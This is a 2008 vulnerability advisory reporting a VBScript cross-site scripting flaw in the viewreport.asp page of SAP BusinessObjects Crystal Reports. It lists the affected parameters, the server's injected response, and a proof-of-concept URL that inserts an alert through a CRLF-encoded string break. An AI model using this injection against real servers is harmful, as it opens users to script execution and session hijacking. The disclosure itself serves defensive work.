Crystal Reports Cross Site Scripting

`- SAP BusinessObjects Crystal Reports viewreport.asp Multiple Parameter XSS  
  
- Description  
  
Cross-site scripting; vbscript rather than javascript. Subsequent page  
will contain pop up reading "fsck_cissp". ID, PROMPTEX-SESSION_ID,  
PROMPTEX-TO_DATE, PROMPTEX-FROM_DATE, PROMPTEX-YEAR_QTR1,  
PROMPTEX-YEAR_QTR2, PROMPTEX-YEAR_QTR3, PROMPTEX-YEAR_QTR4,  
PROMPTEX-YEAR_QTR5, PROMPTEX-YEAR_QTR6, PROMPTEX-YEAR_QTR7,  
PROMPTEX-YEAR_QTR8, and PROMPTEX-QT parameters affected.  
  
The following is the response:  
  
<SCRIPT LANGUAGE="VBScript">  
<!--  
  
Sub window_onLoad()  
Page_Initialize()  
End Sub  
  
Sub Page_Initialize  
On Error Resume Next  
Dim webBroker  
Set webBroker = CreateObject("CrystalReports11.WebReportBroker.1")  
if err.number <> 0 then  
window.alert "The Crystal ActiveX Viewer is unable to  
create it's resource objects."  
CRViewer.ReportName =  
"HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777  
<HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777>  
"  
window.alert "fsck_cissp"  
else  
Dim webSource0  
Set webSource0 =  
CreateObject("CrystalReports11.WebReportSource.1")  
webSource0.ReportSource = webBroker  
webSource0.URL =  
"HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777  
<HTTPS://66.240.213.81/some/path/ceviewer/viewrpt.cwr?APSTOKEN=&ID=7777>  
"  
window.alert "fsck_cissp"  
webSource0.PromptOnRefresh = True  
  
  
CRViewer.ReportSource = webSource0  
end if  
CRViewer.ViewReport  
End Sub  
  
-->  
</SCRIPT>  
  
- Product  
  
SAP BusinessObjects, Crystal Reports, unknown  
  
- PoC  
  
https://66.240.213.81/some/path/viewreport.asp?url=viewrpt.cwr?ID=7777"%0d%0awindow.alert%20"fsck_cissp^^INIT=actx:connect  
  
- Solution  
  
None  
  
- Timeline  
  
2008-01-23: Vulnerability discovered  
2008-02-15: Vendor contact methods unacceptable (paying customers only)  
  
--  
BugsNotHugs  
Shared Vulnerability Disclosure Account  
  
`